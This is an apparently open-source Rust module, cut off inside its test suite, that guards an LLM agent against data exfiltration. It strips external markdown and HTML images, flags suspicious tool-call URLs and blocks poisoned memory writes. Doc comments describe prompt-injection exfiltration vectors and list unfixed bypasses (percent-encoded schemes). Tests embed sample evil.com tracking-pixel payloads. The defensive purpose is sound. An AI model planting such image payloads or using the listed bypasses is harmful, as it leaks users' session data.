Skip to main content

zeph_sanitizer/
exfiltration.rs

1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4//! Exfiltration guards: prevent LLM-generated content from leaking data via
5//! outbound channels (markdown images, tool URL injection, poisoned memory writes).
6//!
7//! The [`ExfiltrationGuard`] is stateless and covers five attack vectors:
8//!
9//! 1. **Markdown image exfiltration** — an adversary plants `![t](https://evil.com/track.gif)`
10//!    in content. When the LLM echoes it, the rendered image loads silently, leaking session data.
11//!    [`ExfiltrationGuard::scan_output`] strips these and replaces them with `[image removed: …]`.
12//!
13//! 2. **URL injection via tool calls** — a flagged URL from untrusted tool output appears in a
14//!    subsequent tool call argument. [`ExfiltrationGuard::validate_tool_call`] cross-references
15//!    URLs against the per-turn flagged URL set. Flag-only approach (does not block execution).
16//!
17//! 3. **Poisoned memory writes** — content flagged with injection patterns is intercepted before
18//!    Qdrant embedding. [`ExfiltrationGuard::should_guard_memory_write`] signals the caller to
19//!    skip the embedding step, preventing poisoned content from polluting semantic search.
20//!
21//! 4. **HTML img tag exfiltration** — `<img src="https://evil.com/track.gif">` embeds are
22//!    stripped alongside markdown images. Controlled by the same `block_markdown_images` flag.
23//!
24//! 5. **Unicode zero-width character bypass** — inserting zero-width joiners/non-joiners between
25//!    `!` and `[` breaks naive markdown regex matchers. [`ExfiltrationGuard::scan_output`]
26//!    detects and strips these sequences when `block_markdown_images` is enabled.
27
28use std::collections::HashSet;
29use std::fmt::Write as _;
30use std::sync::LazyLock;
31
32use regex::Regex;
33use zeph_common::ToolName;
34
35pub use zeph_config::ExfiltrationGuardConfig;
36
37// ---------------------------------------------------------------------------
38// Regex patterns
39// ---------------------------------------------------------------------------
40
41/// Matches inline markdown images with external http/https URLs:
42/// `![alt text](https://example.com/track.gif)`
43///
44/// Local paths (`./img.png`) and data URIs (`data:image/...`) are intentionally
45/// excluded — they cannot exfiltrate data to a remote server.
46///
47/// Per `CommonMark`, the destination may be preceded/followed by optional whitespace
48/// and may be wrapped in angle brackets (`<https://...>`), which also permits
49/// otherwise-illegal characters (e.g. spaces) inside the URL. Group 2 holds an
50/// angle-bracket-wrapped URL, group 3 holds a bare URL — callers must check both.
51///
52/// An optional `CommonMark` title (`"..."`, `'...'`, or `(...)`) may follow the destination,
53/// separated by whitespace — e.g. `![t](https://evil.com/x.gif "title")`. The bare-URL
54/// branch stops at the first whitespace (so it cannot swallow a trailing title itself),
55/// so the title clause must be matched explicitly or the whole pattern fails to match.
56/// The double-quoted title branch also tolerates a backslash-escaped quote (`\"`) inside
57/// the title without treating it as the closing delimiter, per `CommonMark` title parsing.
58///
59/// The scheme is matched case-insensitively (`(?i)`) and is optional — a scheme-relative
60/// destination (`//evil.com/x.gif`) is treated the same as an explicit `https://` one, since
61/// both resolve to an attacker-controlled origin when rendered.
62static MARKDOWN_IMAGE_RE: LazyLock<Regex> = LazyLock::new(|| {
63    Regex::new(
64        r#"(?i)!\[([^\]]*)\]\(\s*(?:<((?:https?:)?//[^>]+)>|((?:https?:)?//[^)\s]+))(?:\s+(?:"(?:\\.|[^"])*"|'[^']*'|\([^)]*\)))?\s*\)"#,
65    )
66    .expect("valid MARKDOWN_IMAGE_RE")
67});
68
69/// Matches reference-style markdown image declarations: `[ref]: https://example.com/img`
70/// Used in conjunction with `REFERENCE_LABEL_RE` to detect two-part reference images.
71///
72/// The destination may be wrapped in angle brackets (`<https://...>`) per `CommonMark`.
73/// Group 2 holds an angle-bracket-wrapped URL, group 3 holds a bare URL — callers must
74/// check both.
75///
76/// The scheme is matched case-insensitively and is optional, so scheme-relative
77/// destinations (`//evil.com/img`) are captured alongside explicit `https://` ones.
78static REFERENCE_DEF_RE: LazyLock<Regex> = LazyLock::new(|| {
79    Regex::new(r"(?im)^\[([^\]]+)\]:\s*(?:<((?:https?:)?//[^>]+)>|((?:https?:)?//\S+))")
80        .expect("valid REFERENCE_DEF_RE")
81});
82
83/// Matches reference-style image usages: `![alt][ref]`
84static REFERENCE_USAGE_RE: LazyLock<Regex> =
85    LazyLock::new(|| Regex::new(r"!\[([^\]]*)\]\[([^\]]+)\]").expect("valid REFERENCE_USAGE_RE"));
86
87/// Extracts http/https and scheme-relative URLs from arbitrary text (used for tool argument
88/// scanning and untrusted-content flagging).
89///
90/// The scheme is matched case-insensitively and is optional, matching `is_external_url`'s
91/// casing and scheme-relative rules (`//evil.com/x` resolves to the same attacker-controlled
92/// origin as `https://evil.com/x`).
93///
94/// Matches from this regex must be passed through [`normalize_url_for_matching`] before being
95/// inserted into or looked up in a `flagged_urls` set — see that function's doc comment for why.
96static URL_EXTRACT_RE: LazyLock<Regex> =
97    LazyLock::new(|| Regex::new(r#"(?i)(?:https?:)?//[^\s"'<>]+"#).expect("valid URL_EXTRACT_RE"));
98
99/// Matches HTML `<img>` tags with external http/https `src` attributes.
100///
101/// Single-quoted, double-quoted, and unquoted (HTML5-legal) `src` values are all matched.
102/// Group 1 holds a quoted URL, group 2 holds an unquoted URL — callers must check both.
103/// The full tag (`<img … >`) is replaced with `[image removed: <url>]`.
104///
105/// The `(?i)` flag also makes the scheme case-insensitive, and the scheme is optional so
106/// scheme-relative `src` values (`//evil.com/track.gif`) are matched too — both are
107/// HTML5-legal and render identically to an explicit `https://` URL.
108static HTML_IMG_RE: LazyLock<Regex> = LazyLock::new(|| {
109    Regex::new(
110        r#"(?i)<img\b[^>]*\bsrc\s*=\s*(?:["']((?:https?:)?//[^"']+)["']|((?:https?:)?//[^\s>]+))[^>]*>"#,
111    )
112    .expect("valid HTML_IMG_RE")
113});
114
115/// Detects invisible Unicode characters between `!` and `[` used to bypass markdown regex.
116///
117/// Adversaries insert invisible formatting or combining characters between `!` and `[` to prevent
118/// standard regex matchers from recognising the markdown image syntax. This pattern covers:
119///
120/// - `\p{Cf}` (Unicode Format category): zero-width joiners/non-joiners, BIDI overrides and
121///   isolates (U+202A–202E, U+2066–2069), deprecated format chars (U+206A–206F), soft hyphen
122///   (U+00AD), Mongolian vowel separator (U+180E), and the entire TAGS block (U+E0000–E007F).
123/// - U+034F (COMBINING GRAPHEME JOINER, category Mn): invisible combining mark; not in `\p{Cf}`,
124///   added explicitly.
125static UNICODE_BYPASS_RE: LazyLock<Regex> =
126    LazyLock::new(|| Regex::new(r"!(?:[\p{Cf}\x{034F}])+\[").expect("valid UNICODE_BYPASS_RE"));
127
128// ---------------------------------------------------------------------------
129// Event types
130// ---------------------------------------------------------------------------
131
132/// An exfiltration event detected by [`ExfiltrationGuard`].
133///
134/// Events are advisory: they are logged, counted, and returned to the caller for
135/// further action. The guard itself never panics or blocks the agent loop.
136///
137/// # Examples
138///
139/// ```rust
140/// use zeph_sanitizer::exfiltration::{ExfiltrationGuard, ExfiltrationEvent};
141/// use zeph_config::ExfiltrationGuardConfig;
142///
143/// let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig::default());
144/// let (cleaned, events) = guard.scan_output("![t](https://evil.com/pixel.gif)");
145/// assert_eq!(events.len(), 1);
146/// assert!(matches!(&events[0], ExfiltrationEvent::MarkdownImageBlocked { url } if url.contains("evil.com")));
147/// ```
148#[non_exhaustive]
149#[derive(Debug, Clone, PartialEq)]
150pub enum ExfiltrationEvent {
151    /// A markdown image with an external URL was stripped from LLM output.
152    MarkdownImageBlocked { url: String },
153    /// An HTML `<img src="…">` tag with an external URL was stripped from LLM output.
154    HtmlImageBlocked { url: String },
155    /// A tool call argument contained a URL that appeared in untrusted flagged content.
156    SuspiciousToolUrl { url: String, tool_name: ToolName },
157    /// A memory write was intercepted because the content had injection flags.
158    MemoryWriteGuarded { reason: String },
159}
160
161// ---------------------------------------------------------------------------
162// Guard
163// ---------------------------------------------------------------------------
164
165/// Stateless exfiltration guard covering three outbound leak vectors.
166///
167/// Construct once from [`ExfiltrationGuardConfig`] and store on the agent. Cheap to clone.
168/// All three scanners ([`scan_output`](Self::scan_output),
169/// [`validate_tool_call`](Self::validate_tool_call),
170/// [`should_guard_memory_write`](Self::should_guard_memory_write)) are independently
171/// toggled via the config flags `block_markdown_images`, `validate_tool_urls`, and
172/// `guard_memory_writes`.
173///
174/// # Examples
175///
176/// ```rust
177/// use zeph_sanitizer::exfiltration::ExfiltrationGuard;
178/// use zeph_config::ExfiltrationGuardConfig;
179///
180/// let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig::default());
181///
182/// // Strips external tracking pixels from LLM output.
183/// let (cleaned, events) = guard.scan_output("text ![track](https://evil.com/p.gif) end");
184/// assert!(events.len() == 1);
185/// assert!(!cleaned.contains("![track]"));
186///
187/// // Memory write is guarded when injection flags are present.
188/// let event = guard.should_guard_memory_write(true);
189/// assert!(event.is_some());
190/// ```
191#[derive(Debug, Clone)]
192pub struct ExfiltrationGuard {
193    config: ExfiltrationGuardConfig,
194}
195
196impl ExfiltrationGuard {
197    /// Create a new guard from the given configuration.
198    ///
199    /// # Examples
200    ///
201    /// ```rust
202    /// use zeph_sanitizer::exfiltration::ExfiltrationGuard;
203    /// use zeph_config::ExfiltrationGuardConfig;
204    ///
205    /// let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig::default());
206    /// ```
207    #[must_use]
208    pub fn new(config: ExfiltrationGuardConfig) -> Self {
209        Self { config }
210    }
211
212    /// Scan LLM output text and strip external markdown images.
213    ///
214    /// Returns the cleaned text and a list of [`ExfiltrationEvent::MarkdownImageBlocked`]
215    /// for each image that was removed.
216    ///
217    /// When `block_markdown_images` is `false`, returns the input unchanged.
218    ///
219    /// # Scanning coverage
220    /// - Inline images: `![alt](https://evil.com/track.gif)`, including `CommonMark`-legal
221    ///   whitespace before the destination (`![alt]( https://...)`) and angle-bracket-wrapped
222    ///   destinations (`![alt](<https://...>)`)
223    /// - Reference-style images: `![alt][ref]` + `[ref]: https://evil.com/img`, including
224    ///   angle-bracket-wrapped reference destinations (`[ref]: <https://...>`)
225    /// - HTML `<img>` tags with quoted (`src="..."`, `src='...'`) or HTML5-legal unquoted
226    ///   (`src=https://...`) `src` attributes
227    /// - Percent-encoded URLs inside already-captured groups: decoded before `is_external_url()`
228    /// - Case-insensitive schemes (`HTTPS://`, `Http://`) and scheme-relative destinations
229    ///   (`//evil.com/track.gif`), which browsers and markdown renderers treat identically to
230    ///   an explicit lowercase `https://` URL
231    ///
232    /// # Not covered (tracked in #1195)
233    /// - Percent-encoded scheme bypass: `%68ttps://evil.com` — the regex requires literal
234    ///   `https?://`, so a percent-encoded scheme is never captured. Fix requires pre-decoding
235    ///   the full input text before regex matching.
236    /// - Percent-encoded scheme-relative bypass: `%2f%2fevil.com/x.gif` decodes to `//evil.com/x.gif`
237    ///   (a protocol-relative load), but the regex requires a literal `//` at the destination
238    ///   start to capture at all, so it is never decoded or stripped. Same root cause and fix as
239    ///   the percent-encoded scheme bypass above.
240    /// - Reference definitions inside fenced code blocks (false positive risk)
241    ///
242    /// # Panics
243    ///
244    /// Panics if the compiled regex does not produce expected capture groups (compile-time
245    /// guarantee — the regex patterns are validated via `expect` in `LazyLock` initializers).
246    #[must_use]
247    pub fn scan_output(&self, text: &str) -> (String, Vec<ExfiltrationEvent>) {
248        if !self.config.block_markdown_images {
249            return (text.to_owned(), vec![]);
250        }
251
252        let mut events = Vec::new();
253        let mut result = text.to_owned();
254
255        // --- Pass 1: inline images ---
256        let mut replacement = String::new();
257        let mut last_end = 0usize;
258        for cap in MARKDOWN_IMAGE_RE.captures_iter(text) {
259            let m = cap.get(0).expect("full match");
260            let raw_url = cap
261                .get(2)
262                .or_else(|| cap.get(3))
263                .expect("url group")
264                .as_str();
265            let url = percent_decode_url(raw_url);
266
267            if is_external_url(&url) {
268                replacement.push_str(&text[last_end..m.start()]);
269                let _ = write!(replacement, "[image removed: {url}]");
270                last_end = m.end();
271                events.push(ExfiltrationEvent::MarkdownImageBlocked { url });
272            }
273        }
274        if !events.is_empty() || last_end > 0 {
275            replacement.push_str(&text[last_end..]);
276            result = replacement;
277        }
278
279        // --- Pass 2: reference-style images ---
280        // Collect reference definitions from the (already partially cleaned) result.
281        let mut ref_defs: std::collections::HashMap<String, String> =
282            std::collections::HashMap::new();
283        for cap in REFERENCE_DEF_RE.captures_iter(&result) {
284            let label = cap.get(1).expect("label").as_str().to_lowercase();
285            let raw_url = cap.get(2).or_else(|| cap.get(3)).expect("url").as_str();
286            let url = percent_decode_url(raw_url);
287            if is_external_url(&url) {
288                ref_defs.insert(label, url);
289            }
290        }
291
292        if !ref_defs.is_empty() {
293            // Remove reference usages that point to external defs.
294            let mut cleaned = String::with_capacity(result.len());
295            let mut last_end = 0usize;
296            for cap in REFERENCE_USAGE_RE.captures_iter(&result) {
297                let m = cap.get(0).expect("full match");
298                let label = cap.get(2).expect("label").as_str().to_lowercase();
299                if let Some(url) = ref_defs.get(&label) {
300                    cleaned.push_str(&result[last_end..m.start()]);
301                    let _ = write!(cleaned, "[image removed: {url}]");
302                    last_end = m.end();
303                    events.push(ExfiltrationEvent::MarkdownImageBlocked { url: url.clone() });
304                }
305            }
306            cleaned.push_str(&result[last_end..]);
307            result = cleaned;
308
309            // Remove the reference definition lines for blocked refs.
310            // Use split('\n') (not .lines()) to preserve \r in CRLF line endings —
311            // .lines() strips \r, and reconstruction with push('\n') would silently
312            // convert all CRLF to LF throughout the entire text.
313            let mut def_cleaned = String::with_capacity(result.len());
314            for line in result.split('\n') {
315                let mut keep = true;
316                for cap in REFERENCE_DEF_RE.captures_iter(line) {
317                    let label = cap.get(1).expect("label").as_str().to_lowercase();
318                    if ref_defs.contains_key(&label) {
319                        keep = false;
320                        break;
321                    }
322                }
323                if keep {
324                    def_cleaned.push_str(line);
325                    def_cleaned.push('\n');
326                }
327            }
328            // Preserve trailing newline behaviour of the original.
329            if !text.ends_with('\n') && def_cleaned.ends_with('\n') {
330                def_cleaned.pop();
331            }
332            result = def_cleaned;
333        }
334
335        // --- Pass 3: HTML img tags with external URLs ---
336        let mut html_result = String::with_capacity(result.len());
337        let mut html_last_end = 0usize;
338        for cap in HTML_IMG_RE.captures_iter(&result) {
339            let m = cap.get(0).expect("full match");
340            let url = cap
341                .get(1)
342                .or_else(|| cap.get(2))
343                .expect("src url group")
344                .as_str()
345                .to_owned();
346            tracing::warn!(url = %url, "HTML img tag with external URL stripped from LLM output");
347            html_result.push_str(&result[html_last_end..m.start()]);
348            let _ = write!(html_result, "[image removed: {url}]");
349            html_last_end = m.end();
350            events.push(ExfiltrationEvent::HtmlImageBlocked { url });
351        }
352        if html_last_end > 0 {
353            html_result.push_str(&result[html_last_end..]);
354            result = html_result;
355        }
356
357        // --- Pass 4: Unicode zero-width bypass sequences ---
358        // Adversaries insert zero-width chars between `!` and `[` to defeat markdown regexes.
359        // Strip the entire `!<zwc+>[` sequence to defuse the payload.
360        if UNICODE_BYPASS_RE.is_match(&result) {
361            tracing::warn!("Unicode zero-width bypass attempt detected in LLM output; stripping");
362            result = UNICODE_BYPASS_RE
363                .replace_all(&result, "[blocked]")
364                .into_owned();
365        }
366
367        (result, events)
368    }
369
370    /// Validate tool call arguments against a set of URLs flagged in untrusted content.
371    ///
372    /// Parses `args_json` as a JSON value and extracts all string leaves recursively to
373    /// avoid JSON-encoding bypasses (escaped slashes, unicode escapes, etc.).
374    ///
375    /// Returns one [`ExfiltrationEvent::SuspiciousToolUrl`] per matching URL.
376    /// When `validate_tool_urls` is `false`, always returns an empty vec.
377    ///
378    /// # Flag-only approach
379    /// Matching URLs are logged and counted but tool execution is NOT blocked. Blocking
380    /// would break legitimate workflows where the same URL appears in both a search result
381    /// and a subsequent fetch call. See design decision D1 in the architect handoff.
382    #[must_use]
383    pub fn validate_tool_call(
384        &self,
385        tool_name: &str,
386        args_json: &str,
387        flagged_urls: &HashSet<String>,
388    ) -> Vec<ExfiltrationEvent> {
389        if !self.config.validate_tool_urls || flagged_urls.is_empty() {
390            return vec![];
391        }
392
393        let parsed: serde_json::Value = match serde_json::from_str(args_json) {
394            Ok(v) => v,
395            Err(_) => {
396                // Fall back to raw regex scan if JSON is malformed.
397                return Self::scan_raw_args(tool_name, args_json, flagged_urls);
398            }
399        };
400
401        let mut events = Vec::new();
402        let mut strings = Vec::new();
403        collect_strings(&parsed, &mut strings, 0);
404
405        for s in &strings {
406            for url_match in URL_EXTRACT_RE.find_iter(s) {
407                let url = url_match.as_str();
408                if flagged_urls.contains(normalize_url_for_matching(url)) {
409                    events.push(ExfiltrationEvent::SuspiciousToolUrl {
410                        url: url.to_owned(),
411                        tool_name: tool_name.into(),
412                    });
413                }
414            }
415        }
416
417        events
418    }
419
420    /// Check whether a memory write should skip Qdrant embedding.
421    ///
422    /// Returns `Some(MemoryWriteGuarded)` when `has_injection_flags` is `true` and
423    /// `guard_memory_writes` is enabled. The caller should still save to `SQLite` for
424    /// conversation continuity but omit the Qdrant embedding to prevent poisoned content
425    /// from polluting semantic search results.
426    ///
427    /// See design decision D2 in the architect handoff.
428    #[must_use]
429    pub fn should_guard_memory_write(
430        &self,
431        has_injection_flags: bool,
432    ) -> Option<ExfiltrationEvent> {
433        if !self.config.guard_memory_writes || !has_injection_flags {
434            return None;
435        }
436        Some(ExfiltrationEvent::MemoryWriteGuarded {
437            reason: "content contained injection patterns flagged by ContentSanitizer".to_owned(),
438        })
439    }
440
441    /// Extract URLs from untrusted tool output for use in subsequent `validate_tool_call` checks.
442    ///
443    fn scan_raw_args(
444        tool_name: &str,
445        args: &str,
446        flagged_urls: &HashSet<String>,
447    ) -> Vec<ExfiltrationEvent> {
448        URL_EXTRACT_RE
449            .find_iter(args)
450            .filter(|m| flagged_urls.contains(normalize_url_for_matching(m.as_str())))
451            .map(|m| ExfiltrationEvent::SuspiciousToolUrl {
452                url: m.as_str().to_owned(),
453                tool_name: tool_name.into(),
454            })
455            .collect()
456    }
457}
458
459/// Extract all `http`/`https` URLs from `content` into a `HashSet` for later URL validation.
460///
461/// Call this after sanitizing untrusted tool output with `ContentSanitizer` when injection
462/// flags are present. Pass the returned set into the agent's `flagged_urls` field. Pass that
463/// set to [`ExfiltrationGuard::validate_tool_call`] on each subsequent tool call. Clear
464/// `flagged_urls` at the start of each `process_response` call (per-turn clearing strategy).
465///
466/// Returns the **raw**, non-normalized matched text — including scheme-relative matches
467/// (`//host/path`) alongside explicit-scheme ones. This function has more than one consumer
468/// (e.g. `zeph-core` also feeds its output into `user_provided_urls` for URL-grounding checks,
469/// which must compare against the exact text the user or tool output supplied), so it must not
470/// silently rewrite its callers' text.
471///
472/// Callers that build an exact-string matching set from this output — like the `flagged_urls`
473/// set consumed by [`ExfiltrationGuard::validate_tool_call`] — must normalize each entry
474/// themselves via [`normalize_url_for_matching`] before inserting it, so that an explicit-scheme
475/// URL and its scheme-relative equivalent collapse into a single, matchable entry. See that
476/// function's doc comment for why this matters.
477///
478/// # Examples
479///
480/// ```rust
481/// use zeph_sanitizer::exfiltration::extract_flagged_urls;
482///
483/// let urls = extract_flagged_urls("visit https://evil.com/x and //other.com/y");
484/// assert!(urls.contains("https://evil.com/x"));
485/// assert!(urls.contains("//other.com/y"));
486/// assert_eq!(urls.len(), 2);
487/// ```
488#[must_use]
489pub fn extract_flagged_urls(content: &str) -> HashSet<String> {
490    URL_EXTRACT_RE
491        .find_iter(content)
492        .map(|m| m.as_str().to_owned())
493        .collect()
494}
495
496// ---------------------------------------------------------------------------
497// Helpers
498// ---------------------------------------------------------------------------
499
500/// Decode percent-encoded URL characters before exfiltration matching.
501///
502/// Converts `%68ttps://` → `https://` so simple percent-encoding bypasses are caught.
503/// Non-UTF-8 sequences are left as-is (they won't match `is_external_url`).
504fn percent_decode_url(raw: &str) -> String {
505    let mut out = String::with_capacity(raw.len());
506    let bytes = raw.as_bytes();
507    let mut i = 0;
508    while i < bytes.len() {
509        if bytes[i] == b'%'
510            && i + 2 < bytes.len()
511            && let (Some(hi), Some(lo)) = (
512                (bytes[i + 1] as char).to_digit(16),
513                (bytes[i + 2] as char).to_digit(16),
514            )
515        {
516            // hi and lo are 0-15; combined value is at most 0xFF, fits in u8.
517            #[allow(clippy::cast_possible_truncation)]
518            let byte = ((hi << 4) | lo) as u8;
519            out.push(byte as char);
520            i += 3;
521            continue;
522        }
523        out.push(bytes[i] as char);
524        i += 1;
525    }
526    out
527}
528
529/// A URL is external if it names an `http`/`https` scheme (case-insensitively) or is
530/// scheme-relative (`//host/path`) — the latter inherits the page's scheme at render time
531/// and resolves to the same attacker-controlled origin as an explicit `https://` URL.
532fn is_external_url(url: &str) -> bool {
533    url.starts_with("//")
534        || url
535            .get(..8)
536            .is_some_and(|s| s.eq_ignore_ascii_case("https://"))
537        || url
538            .get(..7)
539            .is_some_and(|s| s.eq_ignore_ascii_case("http://"))
540}
541
542/// Normalize a URL to a canonical scheme-relative form (`//host/path`) for exact-string
543/// `flagged_urls`-style set membership.
544///
545/// `URL_EXTRACT_RE` (used by [`extract_flagged_urls`] and
546/// [`ExfiltrationGuard::validate_tool_call`]) matches both explicit-scheme (`https://…`) and
547/// scheme-relative (`//…`) URLs, since both resolve to the same attacker-controlled origin (see
548/// `is_external_url`). But a `flagged_urls` set built from those matches does exact-string
549/// comparison: without normalization, the same origin captured in one textual form (e.g.
550/// `//evil.com/x` extracted from untrusted tool output) would never match its occurrence in the
551/// other form (e.g. `https://evil.com/x` in a later tool-call argument) — silently defeating the
552/// cross-reference check the set exists for. Stripping any `http://`/`https://` prefix down to
553/// `//host/path` makes both forms compare equal, while an already scheme-relative URL passes
554/// through untouched.
555///
556/// [`extract_flagged_urls`] itself returns raw, non-normalized text (some of its callers need
557/// exact text fidelity — e.g. URL-grounding checks against user-supplied input — and must not
558/// have their strings silently rewritten). Callers building a `flagged_urls`-style matching set
559/// from that raw output must apply this function to every entry before inserting it, and to
560/// every URL looked up against that set. The *raw*, non-normalized match text should still be
561/// used for reporting (see [`ExfiltrationEvent::SuspiciousToolUrl`]).
562///
563/// # Examples
564///
565/// ```rust
566/// use zeph_sanitizer::exfiltration::{extract_flagged_urls, normalize_url_for_matching};
567/// use std::collections::HashSet;
568///
569/// assert_eq!(normalize_url_for_matching("https://evil.com/x"), "//evil.com/x");
570/// assert_eq!(normalize_url_for_matching("HTTPS://evil.com/x"), "//evil.com/x");
571/// assert_eq!(normalize_url_for_matching("//evil.com/x"), "//evil.com/x");
572///
573/// // Building a `flagged_urls`-style set from raw `extract_flagged_urls` output: both textual
574/// // forms of the same origin collapse into a single matchable entry.
575/// let raw = extract_flagged_urls("https://evil.com/x and //evil.com/x again");
576/// let flagged: HashSet<String> = raw
577///     .iter()
578///     .map(|u| normalize_url_for_matching(u).to_owned())
579///     .collect();
580/// assert_eq!(flagged.len(), 1);
581/// assert!(flagged.contains("//evil.com/x"));
582/// ```
583#[must_use]
584pub fn normalize_url_for_matching(url: &str) -> &str {
585    if url
586        .get(..8)
587        .is_some_and(|s| s.eq_ignore_ascii_case("https://"))
588    {
589        &url[6..]
590    } else if url
591        .get(..7)
592        .is_some_and(|s| s.eq_ignore_ascii_case("http://"))
593    {
594        &url[5..]
595    } else {
596        url
597    }
598}
599
600/// Maximum JSON nesting depth walked by [`collect_strings`].
601///
602/// Guards against stack overflow on adversarially deep tool-call input (e.g. from
603/// prompt-injected LLM output). Beyond this depth, further descent is simply skipped —
604/// URL detection just misses strings past the bound rather than crashing.
605const MAX_JSON_DEPTH: usize = 256;
606
607/// Recursively collect all string leaves from a JSON value.
608fn collect_strings<'a>(value: &'a serde_json::Value, out: &mut Vec<&'a str>, depth: usize) {
609    if depth >= MAX_JSON_DEPTH {
610        tracing::warn!(
611            depth,
612            "collect_strings: max JSON nesting depth reached, skipping further descent"
613        );
614        return;
615    }
616    match value {
617        serde_json::Value::String(s) => out.push(s.as_str()),
618        serde_json::Value::Array(arr) => {
619            for v in arr {
620                collect_strings(v, out, depth + 1);
621            }
622        }
623        serde_json::Value::Object(map) => {
624            for v in map.values() {
625                collect_strings(v, out, depth + 1);
626            }
627        }
628        _ => {}
629    }
630}
631
632// ---------------------------------------------------------------------------
633// Tests
634// ---------------------------------------------------------------------------
635
636#[cfg(test)]
637mod tests {
638    use super::*;
639    use std::assert_matches;
640
641    fn guard() -> ExfiltrationGuard {
642        ExfiltrationGuard::new(ExfiltrationGuardConfig::default())
643    }
644
645    fn guard_disabled() -> ExfiltrationGuard {
646        ExfiltrationGuard::new(ExfiltrationGuardConfig {
647            block_markdown_images: false,
648            validate_tool_urls: false,
649            guard_memory_writes: false,
650        })
651    }
652
653    /// Build a `flagged_urls`-style matching set from raw text, mirroring what a
654    /// `flagged_urls`-specific caller (e.g. `zeph-core`'s tool-output pipeline) does with
655    /// `extract_flagged_urls`'s raw output: normalize every entry via
656    /// `normalize_url_for_matching` before insertion. `extract_flagged_urls` itself does NOT
657    /// normalize — see its doc comment — so tests exercising cross-form matching must build
658    /// the set this way rather than inserting raw literals or the unmodified
659    /// `extract_flagged_urls` return value.
660    fn build_flagged_set(text: &str) -> HashSet<String> {
661        extract_flagged_urls(text)
662            .iter()
663            .map(|u| normalize_url_for_matching(u).to_owned())
664            .collect()
665    }
666
667    // --- scan_output ---
668
669    #[test]
670    fn strips_external_inline_image() {
671        let (cleaned, events) =
672            guard().scan_output("Before ![track](https://evil.com/p.gif) after");
673        assert_eq!(
674            cleaned,
675            "Before [image removed: https://evil.com/p.gif] after"
676        );
677        assert_eq!(events.len(), 1);
678        assert!(
679            matches!(&events[0], ExfiltrationEvent::MarkdownImageBlocked { url } if url == "https://evil.com/p.gif")
680        );
681    }
682
683    #[test]
684    fn preserves_local_image() {
685        let text = "Look: ![diagram](./diagram.png) — local";
686        let (cleaned, events) = guard().scan_output(text);
687        assert_eq!(cleaned, text);
688        assert!(events.is_empty());
689    }
690
691    #[test]
692    fn preserves_data_uri() {
693        let text = "Inline: ![icon](data:image/png;base64,abc123)";
694        let (cleaned, events) = guard().scan_output(text);
695        assert_eq!(cleaned, text);
696        assert!(events.is_empty());
697    }
698
699    #[test]
700    fn strips_multiple_external_images() {
701        let text = "![a](https://a.com/1.gif) text ![b](https://b.com/2.gif)";
702        let (cleaned, events) = guard().scan_output(text);
703        // Markdown image syntax must be removed; replacement label may contain URLs.
704        assert!(
705            !cleaned.contains("![a]("),
706            "first image syntax must be removed: {cleaned}"
707        );
708        assert!(
709            !cleaned.contains("![b]("),
710            "second image syntax must be removed: {cleaned}"
711        );
712        assert_eq!(events.len(), 2);
713    }
714
715    #[test]
716    fn scan_output_noop_when_disabled() {
717        let text = "![track](https://evil.com/p.gif)";
718        let (cleaned, events) = guard_disabled().scan_output(text);
719        assert_eq!(cleaned, text);
720        assert!(events.is_empty());
721    }
722
723    #[test]
724    fn strips_reference_style_image() {
725        let text = "Here is the image: ![alt][ref]\n[ref]: https://evil.com/track.gif\nend";
726        let (cleaned, events) = guard().scan_output(text);
727        // The markdown image syntax and definition line must be removed.
728        assert!(
729            !cleaned.contains("![alt][ref]"),
730            "image usage syntax must be removed: {cleaned}"
731        );
732        assert!(
733            !cleaned.contains("[ref]:"),
734            "reference definition must be removed: {cleaned}"
735        );
736        assert!(
737            cleaned.contains("[image removed:"),
738            "replacement label must be present: {cleaned}"
739        );
740        assert!(!events.is_empty(), "must generate event");
741    }
742
743    #[test]
744    fn preserves_local_reference_image() {
745        // Reference pointing to a local path — must not be stripped.
746        let text = "![alt][ref]\n[ref]: ./local.png\n";
747        let (cleaned, events) = guard().scan_output(text);
748        assert_eq!(cleaned, text);
749        assert!(events.is_empty());
750    }
751
752    #[test]
753    fn decodes_percent_encoded_url_in_inline_image() {
754        // %68 = 'h', so %68ttps:// decodes to https://.
755        // The MARKDOWN_IMAGE_RE pattern requires a literal `https?://` prefix, so
756        // `%68ttps://` is NOT matched by the regex and passes through unchanged.
757        // percent_decode_url() is called on the URL *after* the regex captures it —
758        // so percent-encoded schemes bypass inline detection.
759        //
760        // Known bypass — tracked for Phase 5 (#1195): the fix requires pre-decoding the
761        // full text before regex matching (or a multi-pass decode+scan approach). The LLM
762        // context wrapper already limits what arrives here, reducing practical risk.
763        let text = "![t](%68ttps://evil.com/track.gif)";
764        let (cleaned, _events) = guard().scan_output(text);
765        // The text passes through unchanged because the regex didn't match.
766        assert_eq!(
767            cleaned, text,
768            "percent-encoded scheme not detected by inline regex"
769        );
770
771        // A normal https:// URL IS detected.
772        let normal = "![t](https://evil.com/track.gif)";
773        let (normal_cleaned, normal_events) = guard().scan_output(normal);
774        assert!(
775            !normal_cleaned.contains("![t](https://"),
776            "normal URL must be removed"
777        );
778        assert_eq!(normal_events.len(), 1);
779    }
780
781    #[test]
782    fn strips_inline_image_with_leading_whitespace_in_destination() {
783        // CommonMark permits optional whitespace between `(` and the destination.
784        let (cleaned, events) =
785            guard().scan_output("Before ![t]( https://evil.com/pixel.gif) after");
786        assert!(
787            !cleaned.contains("![t]("),
788            "markdown image syntax must be removed: {cleaned}"
789        );
790        assert!(
791            cleaned.contains("[image removed: https://evil.com/pixel.gif]"),
792            "replacement label must contain the url: {cleaned}"
793        );
794        assert_eq!(events.len(), 1);
795    }
796
797    #[test]
798    fn strips_inline_image_with_angle_bracket_destination() {
799        // CommonMark permits wrapping the destination in angle brackets.
800        let (cleaned, events) =
801            guard().scan_output("Before ![t](<https://evil.com/pixel.gif>) after");
802        assert!(
803            !cleaned.contains("![t]("),
804            "markdown image syntax must be removed: {cleaned}"
805        );
806        assert!(
807            cleaned.contains("[image removed: https://evil.com/pixel.gif]"),
808            "replacement label must contain the url: {cleaned}"
809        );
810        assert_eq!(events.len(), 1);
811    }
812
813    #[test]
814    fn strips_inline_image_with_double_quoted_title() {
815        // Standard CommonMark image title syntax: `![alt](url "title")`.
816        let (cleaned, events) =
817            guard().scan_output(r#"Before ![t](https://evil.com/x.gif "title") after"#);
